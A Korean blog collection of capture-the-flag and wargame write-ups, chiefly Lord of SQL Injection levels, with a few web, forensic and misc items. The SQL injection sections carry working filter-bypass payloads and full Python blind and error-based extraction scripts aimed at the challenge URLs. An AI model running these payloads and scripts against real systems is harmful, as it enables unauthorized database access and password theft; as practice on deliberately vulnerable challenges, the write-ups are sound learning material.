반응형
반응형
반응형

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>
cs

 

 

 

 

 

  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");

  if(mysqli_error($db)) exit();

 

이전 문제와 다른 점은 필터링이 더 늘었다는 것과, sql 에러가 나면 php가 죽어버리는 점이 있다.

 

 

 

 

 

 

 

일단 이전 문제에서 사용했던 if를 우회해야 한다.

 

https://dorahee.tistory.com/140

 

sql 인젝션 우회 기법

1. or and 구문을 필터링 하고 있을 경우 - url 인코딩 문자인 %로 우회 - and >> %26%26, && - or >> %7C%7C, || 2. 단순 문자열 필터링인 경우 - preg_match - php 필터링 함수인 preg_match를 사용할 때 char,..

dorahee.tistory.com

위 글에서 if 를 대체할 함수로 coalesce함수가 나와있다.

 

 

 

coalesce는 null 값이 아닌 다음 인자를 반환한다.

 

 

1' or id='admin' and coalesce((select 1 where length(pw)=1) or null,(select 1 union select 2))%23

 

이렇게 하면 length(pw)=1 이 true가 되면 첫번째 인자가 null이 아니게 되어 다음 인자인 select 1 union select 2 를 반환하여 오류를 발생시킬 수 있다.

 

 

 

 

 

 

 

 

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(pw)=8) or null,(select 1 union select 2))#'

 

pw는 8자리다.

 

 

query : select id from prob_dark_eyes where id='admin' and pw='1' or id='admin' and coalesce((select 1 where length(substr(pw,1,1))=1) or null,(select 1 union select 2))#'

은 참이다.

 

 

 

코드짜서 돌리자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(8):
    for j in range(len(string)):
        payload = "1' or id='admin' and coalesce((select 1 where substring(pw,"+str(i+1)+",1)='"+string[j]+"') or null,(select 1 union select 2))#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
 
        if "query" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.01)
cs
반응형
반응형

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 
<?php
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i'$_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>
cs

if(mysqli_error($db)) exit(mysqli_error($db));

 

결과는 안알려주는데 에러 발생하면 에러를 내뿜고 종료하는 구문이 있다.

이를 통해 Error Based SQL Injection 임을 알 수 있다.

 

 

 

 

 

 

 

pw=' or if(length(pw)=1,1,(select 1 union select 2))%23

 

으로 보내주면 조건 length(pw)=1 이 참이면 1을 반환하고, 거짓이면 select 1 union select 2를 반환하여 오류를 내뿜게 할 수 있다.

 

 

 

 

 

 

 

 

 

pw=%27%20or%20if(length(pw)=32,1,(select%201%20union%20select%202))%23

 

pw의 길이는 32이다.

 

 

 

 

저번처럼 유니코드일지도 모르니까 한 자리의 길이도 구했다.

pw=%27%20or%20if(length(substr(pw,1,1))=1,1,(select%201%20union%20select%202))%23

 

 

다행이 1이다.

 

 

 

소스 짜서 돌리자.

 

Subquery returns more than 1 row 가 나오지 않는 것을 찾으면 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import urllib
import urllib2
import sys
import time
 
string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="
 
 
key = ""
 
for i in range(32):
    for j in range(len(string)):
        payload = "' or if(substring(pw,"+str(i+1)+",1)='"+string[j]+"',1,(select 1 union select 2))#"
        payload = urllib.quote(payload)
        url = "https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php?pw="+payload
 
        print url
 
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        request = urllib2.Request(url)
        request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
        request.add_header('Cookie''PHPSESSID=your_cookie')
        request.get_method = lambda:'GET'
        data = opener.open(request)
        data = data.read()
 
 
        if not "Subquery returns more than 1 row" in data:
            key += string[j]
            print "[*] Find Password!! Password is ["+key+"] admin"
            break
        else:
            print "[-] Fail!"
        time.sleep(0.01)
cs
반응형
반응형

DRAGON

 

문제소스

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
  if($result['id'== 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>
cs

 

 

쿼리에 #이 들어있어서 뒷부분이 주석처리 된다.

 

근데 #은 한 줄만 주석처리한다. 줄바꿈을 한 것은 실행이 될 것으로 생각되었다.

 

 

 

 

줄바꿈 %0a를 넣어주어 쿼리를 완성시켰다.

 

https://los.rubiya.kr/chall/dragon_51996aa769df79afbf79eb4d66dbcef6.php?pw=%0aand pw=1 or id='admin 

 

query : select id from prob_dragon where id='guest'# and pw=' and pw=1 or id='admin'


 

Hello admin

DRAGON Clear!

반응형
반응형

 

 

 

문제 소스 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i'$_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'== $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>
cs

 

 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 

 

blind sqli 로 pw값을 구해내야 한다.

 

 

 

 

query : select id from prob_xavis where id='admin' and pw='1'or'1'='1' and length(pw) = 12#'

 

 

pw의 길이는 12이다.

 

 

 

 

 

 

blind sqli를 했는데 아래 범위에서 일치하는게 나오지 않았다..

string = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~!@#$^&*()-_+="

 

 

 

 

그래서 범위를 123에서 255로 잡고 코드를 수정하여 다시 돌렸다.

 

 

그래도 안나왔다. 왜 그런가 보니...

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))>255#'


 

Hello admin

 

오우.. 255를 넘는다. 

 

500도 넘고 1000도 넘고..

 

 

 

유니코드인거 같아서

유니코드 한글 범위 AC00 - D7AF를 확인해 봤다.

 

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))>44032#'


 

Hello admin

 

query : select id from prob_xavis where id='admin' and pw='1' or '1'='1' and ord(mid(pw,1,1))<55215#'


 

Hello admin

 

 

44032와 55215 사이 범위임을 알 수 있었다.

 

그럼 이제 각 자리마다 11000개 가량을 시도해야한단 소리인데..

 

 

 

 

이진탐색을 이용해서 시도 횟수를 줄여야 할 것 같다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import urllib
import urllib2
import sys
import time
 
 
def binary_search_recursion(start, end , i):
    if start > end:
        return start
 
    mid = (start + end) // 2
 
    data = blind_sqli(mid, i)
 
    if "Hello admin" in data:
        start = mid + 1
        print mid
    else:
        end = mid - 1
 
    return binary_search_recursion(start, end, i)
 
def blind_sqli(val, i):
    payload = "1' or '1'='1' and ord(mid(pw,"+str(i+1)+",1))>"+str(val)+"#"
    payload = urllib.quote(payload)
    url = "https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw="+payload
 
    print url
 
    opener = urllib2.build_opener(urllib2.HTTPHandler)
    request = urllib2.Request(url)
    request.add_header('User-Agent''Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
    request.add_header('Cookie''PHPSESSID=cookie')
    request.get_method = lambda:'GET'
    data = opener.open(request)
    data = data.read()
 
    return data
 
key = ""
for i in range(0,3):
    k = binary_search_recursion(44032,55215, i)
    key+=str(hex(k))
print key
 
cs

 

코드를 쓱싹하고 짰다.

 

유니코드로 바꿔주면(0x -> %u) 한글 3글자가 나오는데 그걸 pw로 넘겨주면 된다.

반응형
반응형

소스를 보자

 

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/ |\/|\(|\)|\||&|select|from|0x/i",$_GET['no'])) exit("no hack");
  $result = mysqli_fetch_array(mysqli_query($db,"select id from chall18 where id='guest' and no=$_GET[no]")); // admin's no = 2
 
  if($result['id']=="guest"echo "hi guest";
  if($result['id']=="admin"){
    solve(18);
    echo "hi admin!";
  }
}
?>
cs

 

 

where id='guest' and no=2 or id='admin' 으로 만들어주면 된다.

 

공백을 필터링하기 때문에 %20대신 %0a로 우회해주면 된다.

 

 

 

 

?no=2%0aor%0aid%0a=%27admin%27

반응형
반응형

 

 

 

문제소스:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)|#|-/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>
cs

 

 

 

쿼리에서

and id!='admin' -> 그리고 id는 admin이 아니어야 한다.

로 인해서 pw 뒷부분을 주석처리하고 pw 부분을 True로 만들면 될 것 같지만,

 

 

if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"
); 
 

#, -- 주석도 막아버리고 길이도 6까지로 제한되어 있다.

 

주석 처리부분은 ;%00로 할 수 있는 방법이 있다.

 

 

 

 

 

 

 

 

그런데 pw = ('')로 되어있다. pw = ('') = 0 으로 true로 만들어버린뒤 ;%00로 뒷부분을 주석처리하면 된다.

 

 

 

 

 

")=0;%00 그러면 딱 6자리 나온다.

 

 

 

 

 

 

반응형
반응형

문제소스 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php 
  include "./config.php"
  login_chk(); 
  $db = dbconnect();
  $_GET['id'= strrev(addslashes($_GET['id']));
  $_GET['pw'= strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>
cs

 

 

 

  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));

 

idpwaddslashes로 아래 문자에 \을 붙여준다. https://www.w3schools.com/php/func_string_addslashes.asp

  • single quote (')
  • double quote (")
  • backslash (\)
  • NULL (%00)

그리고 strrev으로 문자열을 뒤집는다.

 

 

 

 

이전 문제처럼 쿼리에서 id = ' 부터 pw =' 까지를 문자열 취급하게 만들면 될 것 같다.

https://mandu-mandu.tistory.com/315

 

 

 

 

 

id='' and pw=''

두번째 싱글쿼트 앞에 \가 붙게 하여 문자열 취급하도록 해야 한다.

 

 

 

 

id에 \와 '을 제외한 나머지 " 또는 NULL (%00)을 넣어보자

 

" -> \" -> "\

id='"\' and pw = ''

 

\가 뒤로 오면서 '가 문자열 취급되고, " ' 안에 있기 때문에 문자열 취급된다.

 

 

 

 

 

이제 pw=' or 1#' 로 만들어주면 된다. strrev함수로 인해 뒤집어서 입력해주면 된다.

반응형
반응형

Web

 

Compare

100

php의 느슨한 비교 취약점

 

넘기는 값을 배열로 넘겨주면 된다.

 

직접 html코드에서 name을 password[] 로 바꿔주고 보내면 된다.

 

 

 

Simple SQL

150

sql injection

소스:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
    include "./conn.php";
 
    $id = $_GET['id'];
    $pw = $_GET['pw'];
    
    if(preg_match('/[a-zA-Z0-9]/i'$id|| preg_match('/[a-zA-Z0-9]/i'$pw)) exit("빼애애ㅐ애애ㅐㅐ액!!!!");
    if(preg_match('/\||&| |0x|\t|admin|-|\'/i'$id|| preg_match('/\||&| |0x|\t|admin|-|\'/i'$pw)) exit("빼애애ㅐ애애ㅐㅐ액!!!!");
 
    $query = "select * from simple_sql where id='${id}' and pw='${pw}'";
 
    echo "<hr><b>Query : {$query}</b><hr><br>";
 
    $result = mysqli_fetch_array(mysqli_query($conn,$query));
 
    if($result){
        echo $flag;
        exit;
    }
    echo "<hr><br>";
    highlight_file(__FILE__);
?>
cs

소문자, 대문자, 숫자 모두 필터링에 몇몇개의 문자열들도 필터링한다.

 

 

\은 필터링하지 않기 때문에 \을 넣어서 id='\'로 만들면 뒤 '은 문자열 취급되어 pw=' 에 있는 ' 까지 문자열이 된다.

 

 id='\' and pw='=""#  로 만들어줬더니 풀렸다.

 

http://noob.kr/Simple_SQL.php?id=\&pw==%22%22%23

 

원래는 false가 떠야하지만 php처럼 sql에서도 타입 저글링이 가능하여 true가 된다. 

 

 

 

 

 

Simple md(5-1)

170

 

소스:

 

1
2
3
4
5
6
7
8
9
<?php
    if($_GET['md4'== hash("md4"$_GET['md4'])){
        echo "<hr><b>".$flag."</b><hr><br>";
    }else{
        echo "<hr><b>False...</b><hr><br>";
    }
 
    highlight_file(__FILE__);
?>
cs

 

입력값과 md4 hash 값이 같아야 한다.

 

느슨한 비교 == 을 사용했기 때문에 매직해쉬를 사용하면 된다.

 

 

아래 글에 직접 값을 찾으신 분이 계시다.

https://medium.com/@sbasu7241/hsctf-6-ctf-writeups-a807f0b25ae4

 

0e251288019 을 넣어주면 된다고 한다.

반응형
반응형

http://52.79.224.215

 

Multimedia Forensic

 

Welcome Forensic World

30

 

hxd로 열어보면 된다.

 

 

Where_is_flag

50

 

jpg시그니쳐 9바이트 채워주면 된다.

 

 

 

 

Dark web

100

hint : base

 

힌트가 base이다. base32나 base64라고 생각하고, 패딩 문자열 ==hxd를 통해 검색하면, 바로 찾을 수 있다.

 

JYYDAYSDKRDHWZCAOJVV65ZTMJPUSNK7MRAG4OLFOIYHKUZBEF6Q====

 

이를 base32로 디코딩하면 된다.

 

 

 

 

What is docx?

100

찾기로 flag 가 하나 나오는데 그건 fake이다.

 

.zip으로 바꾸면 암호걸린 flag.zip이 나오는데 key는 media폴더에서 찾을 수 있다.

 

 

 

Please open steganography

200

 

문제의 제목에서 open 을 통해 open stego를 써야된다는 것을 알 수 있다.

 

패스워드는 해당 png파일을 hxd로 열어서 마지막쯤에 있는 OPENLOCK 을 사용하면 된다.

 

추출하면 flag.txt가 추출된다.

반응형
반응형

Misc

Welcome N00b World~!

50

 

디스코드 접속

반응형

+ Recent posts